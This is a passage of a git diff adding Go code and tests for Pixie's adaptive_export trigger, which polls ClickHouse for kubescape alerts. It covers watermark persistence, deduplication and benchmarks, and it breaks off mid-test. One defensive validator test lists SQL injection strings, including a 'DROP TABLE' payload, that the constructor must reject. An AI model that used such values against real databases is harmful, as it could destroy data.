int64 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + n := atomic.AddInt64(&calls, 1) + queries <- r.URL.Query().Get("query") + if n == 1 { + _, _ = w.Write([]byte(canonicalRowJSON + "\n")) + return + } + _, _ = w.Write([]byte("")) + })) + defer srv.Close() + tr, err := New(Config{Endpoint: srv.URL, Hostname: "node-1", PollInterval: 30 * time.Millisecond}) + if err != nil { + t.Fatalf("New: %v", err) + } + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, _ := tr.Subscribe(ctx) + select { + case ev := <-ch: + if ev.Target.Pod != "redis-578d5dc9bd-kjj78" { + t.Fatalf("Pod = %q", ev.Target.Pod) + } + if ev.Target.PID != 106040 { + t.Fatalf("PID = %d", ev.Target.PID) + } + if ev.Hostname != "node-1" { + t.Fatalf("Hostname = %q", ev.Hostname) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("timeout waiting for first event") + } + // Drain the first query, then wait for the second (advanced + // watermark) — channel-based, so no fixed sleep races. + <-queries + var lastQuery string + select { + case lastQuery = <-queries: + case <-time.After(500 * time.Millisecond): + t.Fatalf("timeout waiting for second poll") + } + if !strings.Contains(lastQuery, "hostname = 'node-1'") { + t.Fatalf("query missing hostname filter: %q", lastQuery) + } + if !strings.Contains(lastQuery, "event_time >= 1744477360303026359") { + t.Fatalf("watermark didn't advance to inclusive boundary: %q", lastQuery) + } +} + +// TestTrigger_RequiresHostname — defensive: refuses empty hostname. +func TestTrigger_RequiresHostname(t *testing.T) { + if _, err := New(Config{Endpoint: "http://x", Hostname: ""}); err == nil { + t.Fatalf("empty Hostname not rejected") + } +} + +// TestTrigger_ContextCancellationClosesChannel — clean shutdown. +func TestTrigger_ContextCancellationClosesChannel(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {})) + defer srv.Close() + tr, _ := New(Config{Endpoint: srv.URL, Hostname: "node-1", PollInterval: 30 * time.Millisecond}) + ctx, cancel := context.WithCancel(context.Background()) + ch, _ := tr.Subscribe(ctx) + cancel() + select { + case _, ok := <-ch: + if ok { + t.Fatalf("channel produced after cancel") + } + case <-time.After(300 * time.Millisecond): + t.Fatalf("channel not closed within 300ms of cancel") + } +} + +// TestTrigger_HTTPErrorContinues — transient 5xx → retry, system stable. +func TestTrigger_HTTPErrorContinues(t *testing.T) { + var calls int64 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + n := atomic.AddInt64(&calls, 1) + if n == 1 { + w.WriteHeader(503) + return + } + _, _ = w.Write([]byte(canonicalRowJSON + "\n")) + })) + defer srv.Close() + tr, _ := New(Config{Endpoint: srv.URL, Hostname: "node-1", PollInterval: 30 * time.Millisecond}) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, _ := tr.Subscribe(ctx) + select { + case ev := <-ch: + if ev.Target.Comm == "" { + t.Fatalf("got empty Target after recovery") + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("trigger did not recover from transient HTTP 503") + } +} + +// TestTrigger_DedupesAtWatermarkBoundary — same-event_time rows that +// arrive in a later poll than they were already observed must NOT be +// re-emitted. Distinct rows at the same boundary timestamp must still +// be emitted (only the duplicate is suppressed). +func TestTrigger_DedupesAtWatermarkBoundary(t *testing.T) { + const distinctRowJSON = `{"RuleID":"R0006","RuntimeK8sDetails":"{\"podName\":\"redis-578d5dc9bd-kjj78\",\"podNamespace\":\"redis\"}","RuntimeProcessDetails":"{\"processTree\":{\"pid\":222222,\"comm\":\"redis-cli\"}}","event_time":"1744477360303026359","hostname":"node-1"}` + var calls int64 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + n := atomic.AddInt64(&calls, 1) + switch n { + case 1: + // First poll emits the canonical row. + _, _ = w.Write([]byte(canonicalRowJSON + "\n")) + case 2: + // Second poll: server "re-discovers" the SAME row at the + // boundary timestamp PLUS one DISTINCT row at the same + // event_time. The trigger must suppress the duplicate + // fingerprint and pass through the distinct one. + _, _ = w.Write([]byte(canonicalRowJSON + "\n" + distinctRowJSON + "\n")) + default: + _, _ = w.Write([]byte("")) + } + })) + defer srv.Close() + + tr, _ := New(Config{Endpoint: srv.URL, Hostname: "node-1", PollInterval: 30 * time.Millisecond}) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, _ := tr.Subscribe(ctx) + + // Collect events for ~250 ms — long enough for at least 3 polls. + deadline := time.Now().Add(250 * time.Millisecond) + var got []uint64 // PIDs we observed + for time.Now().Before(deadline) { + select { + case ev := <-ch: + got = append(got, ev.Target.PID) + case <-time.After(20 * time.Millisecond): + } + } + // Expect exactly 2 events: PID 106040 (canonical, emitted once + // even though server returned it twice) and PID 222222 (distinct + // row at same boundary, emitted exactly once). + if len(got) != 2 { + t.Fatalf("got %d events, want 2 (canonical + distinct, no dup); pids=%v", len(got), got) + } + canonicalSeen, distinctSeen := 0, 0 + for _, pid := range got { + switch pid { + case 106040: + canonicalSeen++ + case 222222: + distinctSeen++ + } + } + if canonicalSeen != 1 { + t.Fatalf("canonical row emitted %d times, want 1 (dedup failed)", canonicalSeen) + } + if distinctSeen != 1 { + t.Fatalf("distinct same-event_time row emitted %d times, want 1 (over-aggressive dedup)", distinctSeen) + } +} + +// TestTrigger_RejectsInvalidIdentifiers — defensive: SQL injection via +// Database/Table config is refused at construction time. +func TestTrigger_RejectsInvalidIdentifiers(t *testing.T) { + for _, bad := range []string{ + "forensic_db; DROP TABLE alerts", + "db with space", + "123starts_with_digit", + "backtick`injection", + "forensic_db.kubescape_logs", // dotted not allowed for this table param + } { + _, err := New(Config{Endpoint: "http://x", Hostname: "node-1", Database: bad}) + if err == nil { + t.Errorf("New accepted bad Database %q; expected error", bad) + } + _, err = New(Config{Endpoint: "http://x", Hostname: "node-1", Table: bad}) + if err == nil { + t.Errorf("New accepted bad Table %q; expected error", bad) + } + } +} + +// TestTrigger_BadRowSkipped — incomplete kubescape row is skipped, good rows still arrive. +func TestTrigger_BadRowSkipped(t *testing.T) { + bad := `{"RuleID":"","RuntimeK8sDetails":"","RuntimeProcessDetails":"","event_time":"1","hostname":"node-1"}` + "\n" + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + _, _ = w.Write([]byte(bad + canonicalRowJSON + "\n")) + })) + defer srv.Close() + tr, _ := New(Config{Endpoint: srv.URL, Hostname: "node-1", PollInterval: 30 * time.Millisecond}) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, _ := tr.Subscribe(ctx) + select { + case ev := <-ch: + if ev.Target.Comm != "redis-server" { + t.Fatalf("got Comm %q; bad row leaked through", ev.Target.Comm) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("good row not received after bad-row skip") + } +} diff --git a/src/vizier/services/adaptive_export/internal/trigger/fingerprint_bench_test.go b/src/vizier/services/adaptive_export/internal/trigger/fingerprint_bench_test.go new file mode 100644 index 00000000000..2924b2b4df7 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/trigger/fingerprint_bench_test.go @@ -0,0 +1,142 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package trigger + +import ( + "crypto/sha256" + "encoding/hex" + "fmt" + "strings" + "testing" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/kubescape" +) + +// rowFingerprint is the deduper for boundary rows at each poll. It +// runs ONCE PER kubescape row pulled from ClickHouse by the trigger +// (clickhouse.go:272-273). With PollLimit=10000 and a 250ms ticker, a +// trigger that's catching up from a stale watermark can process 40k +// rows/sec PURELY in the fingerprint loop — every one of which: +// +// 1. Allocates a fresh sha256 hasher (sha256.New). +// 2. Runs fmt.Fprintf with %d/%s verbs into the hasher (uses reflect). +// 3. Hex-encodes the 32-byte digest into a 64-char string. +// +// The bench numbers below quantify that. If the per-row cost is +// significant, the trigger backlog drain itself is a CPU consumer +// independent of any downstream work. + +func benchKubescapeRow(i int) kubescape.Row { + // K8sDetails / ProcessDetails are JSON blobs in production — + // kubescape emits them at ~500 bytes typical, ~2KB upper. + const k8sDetails = `{"podNamespace":"log4j-poc","podName":"backend-vulnerable-779cd9d765-mxr8t","containerName":"backend","workloadName":"backend-vulnerable","workloadKind":"Deployment","image":"ghcr.io/k8sstormcenter/log4j-chain-backend-vulnerable:latest","clusterName":"soc-demo-pg","nodeName":"node-1"}` + const procDetails = `{"comm":"java","pid":1234,"ppid":1,"path":"/usr/lib/jvm/java-11/bin/java","argv":["java","-cp","/app/log4j-vuln-1.0.jar","com.example.App"],"user":"appuser","cwd":"/app","spawn_time":"2026-06-07T18:00:00Z"}` + return kubescape.Row{ + EventTime: uint64(1_700_000_000_000_000_000 + i), + RuleID: "R1100", + Hostname: "pixie-worker-node", + K8sDetails: k8sDetails, + ProcessDetails: procDetails, + } +} + +func BenchmarkRowFingerprint(b *testing.B) { + row := benchKubescapeRow(0) + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = rowFingerprint(row) + } +} + +// BenchmarkRowFingerprint_Unique varies event_time per call so the +// hasher gets unique input bytes (matches real boundary-row behaviour +// where each row has its own event_time). +func BenchmarkRowFingerprint_Unique(b *testing.B) { + rows := make([]kubescape.Row, 1024) + for i := range rows { + rows[i] = benchKubescapeRow(i) + } + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = rowFingerprint(rows[i%len(rows)]) + } +} + +// BenchmarkRowFingerprint_LargePoll simulates one trigger poll +// draining PollLimit=10000 rows — the boundary-dedup pass after a +// stale-watermark catchup. The trigger does this ONCE per +// PollInterval (250ms default) when there's a backlog; under a +// 100ms-jitter ticker drift this can run 4-10× per second. +func BenchmarkRowFingerprint_LargePoll(b *testing.B) { + const batch = 10_000 + rows := make([]kubescape.Row, batch) + for i := range rows { + rows[i] = benchKubescapeRow(i) + } + b.ReportAllocs() + b.ResetTimer() + for n := 0; n < b.N; n++ { + for i := range rows { + _ = rowFingerprint(rows[i]) + } + } +} + +// BenchmarkRowFingerprintSimple_LargePoll uses an alternative +// allocation-free fingerprint (sha256-of-concatenated-strings via a +// builder + direct Write). Lets us compare the current Fprintf-based +// implementation's reflect-driven cost against a hand-rolled version +// — informs whether replacing the fmt.Fprintf is a worthwhile +// micro-optimisation if the standard bench shows the trigger +// fingerprint as a CPU hotspot. +func BenchmarkRowFingerprintSimple_LargePoll(b *testing.B) { + const batch = 10_000 + rows := make([]kubescape.Row, batch) + for i := range rows { + rows[i] = benchKubescapeRow(i) + } + b.ReportAllocs() + b.ResetTimer() + for n := 0; n < b.N; n++ { + for i := range rows { + _ = fingerprintNoFmt(rows[i]) + } + } +} + +// fingerprintNoFmt is the Fprintf-free reference. Same output guarantee +// is NOT asserted here — this is a perf-comparison anchor only. If the +// numbers diverge by >2× from rowFingerprint, the fmt.Fprintf path is +// a real cost. +func fingerprintNoFmt(r kubescape.Row) string { + h := sha256.New() + var b strings.Builder + b.Grow(64 + len(r.RuleID) + len(r.Hostname) + len(r.K8sDetails) + len(r.ProcessDetails)) + _, _ = fmt.Fprintf(&b, "%d", r.EventTime) + b.WriteByte(0) + b.WriteString(r.RuleID) + b.WriteByte(0) + b.WriteString(r.Hostname) + b.WriteByte(0) + b.WriteString(r.K8sDetails) + b.WriteByte(0) + b.WriteString(r.ProcessDetails) + h.Write([]byte(b.String())) + return hex.EncodeToString(h.Sum(nil)) +} diff --git a/src/vizier/services/adaptive_export/internal/trigger/integration_test.go b/src/vizier/services/adaptive_export/internal/trigger/integration_test.go new file mode 100644 index 00000000000..c8a42f73575 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/trigger/integration_test.go @@ -0,0 +1,149 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +//go:build integration +// +build integration + +package trigger_test + +import ( + "context" + "fmt" + "io" + "net/http" + "net/url" + "os" + "strings" + "testing" + "time" + + chpkg "px.dev/pixie/src/vizier/services/adaptive_export/internal/clickhouse" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/trigger" +) + +// Live integration test for the trigger's poll loop. Inserts a +// kubescape_logs row directly via HTTP, then asserts the trigger +// surfaces it as a kubescape.Event before the deadline. + +func env(t *testing.T) (endpoint, user, pass string) { + t.Helper() + endpoint = os.Getenv("INTEGRATION_CH_ENDPOINT") + if endpoint == "" { + t.Skip("INTEGRATION_CH_ENDPOINT not set; skipping live ClickHouse test") + } + return endpoint, os.Getenv("INTEGRATION_CH_USER"), os.Getenv("INTEGRATION_CH_PASSWORD") +} + +func ensureSchema(t *testing.T, endpoint, user, pass string) { + t.Helper() + a, err := chpkg.NewApplier(endpoint, user, pass) + if err != nil { + t.Fatalf("NewApplier: %v", err) + } + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + if err := a.Apply(ctx); err != nil { + t.Fatalf("Apply (precondition): %v", err) + } +} + +// insertKubescapeRow shoves one synthetic row into kubescape_logs via +// JSONEachRow on the HTTP interface — same shape Vector emits. +func insertKubescapeRow(t *testing.T, endpoint, user, pass, hostname, ruleID string, eventTime uint64) { + t.Helper() + body := fmt.Sprintf( + `{"BaseRuntimeMetadata":"{\"alertName\":\"%s\"}","CloudMetadata":"","RuleID":"%s","RuntimeK8sDetails":"{\"podName\":\"redis-test\",\"podNamespace\":\"redis\"}","RuntimeProcessDetails":"{\"processTree\":{\"pid\":1234,\"comm\":\"redis-server\"}}","event":"","event_time":%d,"hostname":"%s"}`, + ruleID, ruleID, eventTime, hostname, + ) + q := url.Values{} + q.Set("query", "INSERT INTO forensic_db.kubescape_logs FORMAT JSONEachRow") + req, err := http.NewRequest(http.MethodPost, + strings.TrimRight(endpoint, "/")+"/?"+q.Encode(), + strings.NewReader(body)) + if err != nil { + t.Fatal(err) + } + req.Header.Set("Content-Type", "application/x-ndjson") + if user != "" { + req.SetBasicAuth(user, pass) + } + resp, err := (&http.Client{Timeout: 10 * time.Second}).Do(req) + if err != nil { + t.Fatalf("seed insert: %v", err) + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + buf, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + t.Fatalf("seed insert HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(buf))) + } +} + +// TestTriggerSubscribe_Live: insert one row, expect one Event from the +// trigger's Subscribe channel within the deadline. +func TestTriggerSubscribe_Live(t *testing.T) { + endpoint, user, pass := env(t) + ensureSchema(t, endpoint, user, pass) + + hostname := fmt.Sprintf("aw-trig-%d", time.Now().UnixNano()) + now := time.Now() + eventTime := uint64(now.UnixNano()) + + // Use a watermark slightly before the synthetic event_time so the + // first poll picks up exactly our row, regardless of unrelated rows + // in the table from earlier runs. + cfg := trigger.Config{ + Endpoint: endpoint, + Username: user, + Password: pass, + Hostname: hostname, + PollInterval: 200 * time.Millisecond, + InitialWatermark: eventTime - 1, + } + trg, err := trigger.New(cfg) + if err != nil { + t.Fatalf("trigger.New: %v", err) + } + + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + ch, err := trg.Subscribe(ctx) + if err != nil { + t.Fatalf("Subscribe: %v", err) + } + + insertKubescapeRow(t, endpoint, user, pass, hostname, "R1005", eventTime) + + select { + case ev, ok := <-ch: + if !ok { + t.Fatalf("channel closed before event arrived") + } + if ev.RuleID != "R1005" { + t.Errorf("Event.RuleID = %q, want R1005", ev.RuleID) + } + if ev.Hostname != hostname { + t.Errorf("Event.Hostname = %q, want %q", ev.Hostname, hostname) + } + if ev.EventTime != eventTime { + t.Errorf("Event.EventTime = %d, want %d", ev.EventTime, eventTime) + } + if ev.Target.Pod != "redis-test" || ev.Target.Namespace != "redis" { + t.Errorf("Event.Target = %+v, want pod=redis-test, ns=redis", ev.Target) + } + case <-ctx.Done(): + t.Fatalf("trigger did not surface the seeded row within 15s") + } +} diff --git a/src/vizier/services/adaptive_export/internal/trigger/watermark.go b/src/vizier/services/adaptive_export/internal/trigger/watermark.go new file mode 100644 index 00000000000..41feea701de --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/trigger/watermark.go @@ -0,0 +1,179 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package trigger + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strings" + "time" +) + +// WatermarkStore persists the trigger's per-(hostname,table) cursor +// across operator restarts. Without persistence, every restart on a +// busy node replays kubescape_logs from event_time=0 — multi-GiB +// single-shot SELECTs that the trigger's HTTP client times out on, +// pinning the watermark at 0 forever. +// +// Load returns (watermark, true, nil) when a row exists, or +// (0, false, nil) when no row exists yet (fresh cluster). An error +// returned from Load or Save is logged + non-fatal: the trigger falls +// back to whatever cold-start strategy the caller chose. +type WatermarkStore interface { + Load(ctx context.Context, hostname, table string) (uint64, bool, error) + Save(ctx context.Context, hostname, table string, watermark uint64) error +} + +// ClickHouseWatermarkStore is the production WatermarkStore — reads +// and writes forensic_db.trigger_watermark over the same HTTP endpoint +// as the rest of the operator. Schema is owned by the clickhouse +// package's Apply (CREATE TABLE IF NOT EXISTS at boot). +type ClickHouseWatermarkStore struct { + endpoint string + database string + user string + pass string + client *http.Client +} + +// NewClickHouseWatermarkStore validates the endpoint and returns a +// ready store. timeout=0 → 30s default (watermark IO is tiny, but +// we share the operator's overall conservative network-call budget). +func NewClickHouseWatermarkStore(endpoint, database, user, pass string, timeout time.Duration) (*ClickHouseWatermarkStore, error) { + if endpoint == "" { + return nil, fmt.Errorf("watermark: empty endpoint") + } + u, err := url.Parse(endpoint) + if err != nil || (u.Scheme != "http" && u.Scheme != "https") || u.Host == "" { + return nil, fmt.Errorf("watermark: invalid endpoint %q", endpoint) + } + if database == "" { + database = "forensic_db" + } + if !validIdentifier(database) { + return nil, fmt.Errorf("watermark: invalid database identifier %q", database) + } + if timeout <= 0 { + timeout = 30 * time.Second + } + return &ClickHouseWatermarkStore{ + endpoint: strings.TrimRight(endpoint, "/"), + database: database, + user: user, + pass: pass, + client: &http.Client{Timeout: timeout}, + }, nil +} + +// Load returns the most-recent persisted watermark for (hostname, table). +// Uses FINAL — the table is ReplacingMergeTree, and per-(hostname,table) +// cardinality is one, so the cost is negligible. (false, nil, nil) means +// no row exists for the key yet — the trigger's caller chooses cold-start. +func (s *ClickHouseWatermarkStore) Load(ctx context.Context, hostname, table string) (uint64, bool, error) { + q := url.Values{} + q.Set("query", fmt.Sprintf( + "SELECT watermark FROM %s.trigger_watermark FINAL "+ + "WHERE hostname = %s AND table_name = %s LIMIT 1 FORMAT JSONEachRow", + s.database, quoteCH(hostname), quoteCH(table))) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, + s.endpoint+"/?"+q.Encode(), nil) + if err != nil { + return 0, false, err + } + if s.user != "" { + req.SetBasicAuth(s.user, s.pass) + } + resp, err := s.client.Do(req) + if err != nil { + return 0, false, err + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + return 0, false, fmt.Errorf("watermark load: HTTP %d: %s", + resp.StatusCode, strings.TrimSpace(string(body))) + } + body, err := io.ReadAll(resp.Body) + if err != nil { + return 0, false, err + } + body = bytes.TrimSpace(body) + if len(body) == 0 { + return 0, false, nil + } + // JSONEachRow returns watermark as a JSON number; UInt64 values + // above 2^53 lose precision through float64, so we accept either + // number or string and parse strictly as uint64. + var raw struct { + Watermark json.RawMessage `json:"watermark"` + } + if err := json.Unmarshal(bytes.Split(body, []byte{'\n'})[0], &raw); err != nil { + return 0, false, fmt.Errorf("watermark load: parse response: %w", err) + } + wm, err := parseUint64Loose(raw.Watermark) + if err != nil { + return 0, false, fmt.Errorf("watermark load: %w", err) + } + return wm, true, nil +} + +// Save inserts a new row. ReplacingMergeTree(updated_at) merges later; +// reads via FINAL always return the freshest. Write is fire-and-merge +// — no UPDATE semantics, no contention with concurrent INSERTs from +// other operator instances (each pins its own hostname). +func (s *ClickHouseWatermarkStore) Save(ctx context.Context, hostname, table string, watermark uint64) error { + q := url.Values{} + q.Set("query", fmt.Sprintf("INSERT INTO %s.trigger_watermark FORMAT JSONEachRow", s.database)) + row, err := json.Marshal(struct { + Hostname string `json:"hostname"` + TableName string `json:"table_name"` + Watermark uint64 `json:"watermark"` + UpdatedAt string `json:"updated_at"` + }{ + Hostname: hostname, + TableName: table, + Watermark: watermark, + UpdatedAt: time.Now().UTC().Format("2006-01-02 15:04:05.000000000"), + }) + if err != nil { + return err + } + req, err := http.NewRequestWithContext(ctx, http.MethodPost, + s.endpoint+"/?"+q.Encode(), bytes.NewReader(row)) + if err != nil { + return err + } + if s.user != "" { + req.SetBasicAuth(s.user, s.pass) + } + resp, err := s.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + return fmt.Errorf("watermark save: HTTP %d: %s", + resp.StatusCode, strings.TrimSpace(string(body))) + } + return nil +} diff --git a/src/vizier/services/adaptive_export/internal/trigger/watermark_test.go b/src/vizier/services/adaptive_export/internal/trigger/watermark_test.go new file mode 100644 index 00000000000..1929efbdffc --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/trigger/watermark_test.go @@ -0,0 +1,303 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package trigger + +import ( + "context" + "fmt" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "sync/atomic" + "testing" + "time" +) + +// fakeStore is an in-memory WatermarkStore for testing trigger +// integration without needing a live ClickHouse. +type fakeStore struct { + mu sync.Mutex + saves []uint64 + loadResult uint64 + loadOK bool + loadErr error + saveErr error +} + +func (f *fakeStore) Load(ctx context.Context, hostname, table string) (uint64, bool, error) { + f.mu.Lock() + defer f.mu.Unlock() + return f.loadResult, f.loadOK, f.loadErr +} + +func (f *fakeStore) Save(ctx context.Context, hostname, table string, wm uint64) error { + f.mu.Lock() + defer f.mu.Unlock() + if f.saveErr != nil { + return f.saveErr + } + f.saves = append(f.saves, wm) + return nil +} + +func (f *fakeStore) savedCount() int { + f.mu.Lock() + defer f.mu.Unlock() + return len(f.saves) +} + +// TestTrigger_LoadsPersistentWatermarkOnBoot — the very first SELECT +// the trigger issues must filter event_time by the persisted watermark, +// not by InitialWatermark or 0. +func TestTrigger_LoadsPersistentWatermarkOnBoot(t *testing.T) { + queries := make(chan string, 256) + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + queries <- r.URL.Query().Get("query") + _, _ = w.Write([]byte("")) + })) + defer srv.Close() + + store := &fakeStore{loadResult: 1744000000000000000, loadOK: true} + tr, err := New(Config{ + Endpoint: srv.URL, + Hostname: "node-1", + PollInterval: 30 * time.Millisecond, + Watermark: store, + // InitialWatermark deliberately set to a SMALLER value than + // the store's — the store's value must win. + InitialWatermark: 0, + }) + if err != nil { + t.Fatalf("New: %v", err) + } + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + _, _ = tr.Subscribe(ctx) + select { + case q := <-queries: + if !strings.Contains(q, "event_time >= 1744000000000000000") { + t.Fatalf("first query did not use persisted watermark; got %q", q) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("timeout waiting for first poll") + } +} + +// TestTrigger_FallsBackToInitialWatermarkWhenStoreEmpty — fresh cluster: +// the persistent table has no row for this host yet, trigger uses +// the configured InitialWatermark instead. +func TestTrigger_FallsBackToInitialWatermarkWhenStoreEmpty(t *testing.T) { + queries := make(chan string, 256) + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + queries <- r.URL.Query().Get("query") + _, _ = w.Write([]byte("")) + })) + defer srv.Close() + + store := &fakeStore{loadOK: false} // no row present + tr, _ := New(Config{ + Endpoint: srv.URL, Hostname: "node-1", + PollInterval: 30 * time.Millisecond, + Watermark: store, + InitialWatermark: 42, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + _, _ = tr.Subscribe(ctx) + select { + case q := <-queries: + if !strings.Contains(q, "event_time >= 42") { + t.Fatalf("first query did not use InitialWatermark fallback; got %q", q) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("timeout waiting for first poll") + } +} + +// TestTrigger_FallsBackOnStoreLoadError — store unreachable on boot +// must not block the trigger from starting; it falls back to +// InitialWatermark and continues. +func TestTrigger_FallsBackOnStoreLoadError(t *testing.T) { + queries := make(chan string, 256) + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + queries <- r.URL.Query().Get("query") + _, _ = w.Write([]byte("")) + })) + defer srv.Close() + + store := &fakeStore{loadErr: fmt.Errorf("clickhouse unreachable")} + tr, _ := New(Config{ + Endpoint: srv.URL, Hostname: "node-1", + PollInterval: 30 * time.Millisecond, + Watermark: store, + InitialWatermark: 7, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + _, _ = tr.Subscribe(ctx) + select { + case q := <-queries: + if !strings.Contains(q, "event_time >= 7") { + t.Fatalf("error path did not fall back to InitialWatermark; got %q", q) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("timeout waiting for first poll") + } +} + +// TestTrigger_ThrottledWatermarkSave — successful advances are +// flushed at WatermarkSaveInterval cadence, not on every poll. The +// fake store should see far fewer saves than there were polls. +func TestTrigger_ThrottledWatermarkSave(t *testing.T) { + const row1 = `{"RuleID":"R1","RuntimeK8sDetails":"{\"podName\":\"p\",\"podNamespace\":\"ns\"}","RuntimeProcessDetails":"{\"processTree\":{\"pid\":1,\"comm\":\"c\"}}","event_time":"1000000000000000001","hostname":"node-1"}` + const row2 = `{"RuleID":"R1","RuntimeK8sDetails":"{\"podName\":\"p\",\"podNamespace\":\"ns\"}","RuntimeProcessDetails":"{\"processTree\":{\"pid\":1,\"comm\":\"c\"}}","event_time":"1000000000000000002","hostname":"node-1"}` + var calls int64 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + n := atomic.AddInt64(&calls, 1) + if n%2 == 1 { + _, _ = w.Write([]byte(row1 + "\n")) + } else { + _, _ = w.Write([]byte(row2 + "\n")) + } + })) + defer srv.Close() + + store := &fakeStore{loadOK: false} + tr, _ := New(Config{ + Endpoint: srv.URL, Hostname: "node-1", + PollInterval: 10 * time.Millisecond, + Watermark: store, + WatermarkSaveInterval: 100 * time.Millisecond, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, _ := tr.Subscribe(ctx) + go func() { + for range ch { + } + }() + + time.Sleep(250 * time.Millisecond) // ≥ 25 polls, ~2-3 save intervals + saves := store.savedCount() + pollCalls := int(atomic.LoadInt64(&calls)) + if pollCalls < 10 { + t.Fatalf("expected many polls in 250ms; got %d", pollCalls) + } + if saves >= pollCalls { + t.Fatalf("saves not throttled: %d saves vs %d polls", saves, pollCalls) + } + if saves == 0 { + t.Fatalf("no watermark saves at all in 250ms with active rows") + } +} + +// TestTrigger_LimitsRowsPerPoll — every query carries LIMIT N so +// catch-up after a stale watermark doesn't translate into one giant +// scan that times out. +func TestTrigger_LimitsRowsPerPoll(t *testing.T) { + queries := make(chan string, 256) + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + queries <- r.URL.Query().Get("query") + _, _ = w.Write([]byte("")) + })) + defer srv.Close() + + tr, _ := New(Config{ + Endpoint: srv.URL, Hostname: "node-1", + PollInterval: 30 * time.Millisecond, + PollLimit: 250, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + _, _ = tr.Subscribe(ctx) + select { + case q := <-queries: + if !strings.Contains(q, "LIMIT 250") { + t.Fatalf("query missing LIMIT clause: %q", q) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("timeout waiting for first poll") + } +} + +// TestTrigger_PartialBodyReadStillAdvances — server emits one +// well-formed line then closes the connection mid-second-line. The +// trigger must still emit the first event AND advance its watermark +// so the next poll picks up from there, instead of looping forever +// on the same start watermark. +func TestTrigger_PartialBodyReadStillAdvances(t *testing.T) { + const goodLine = 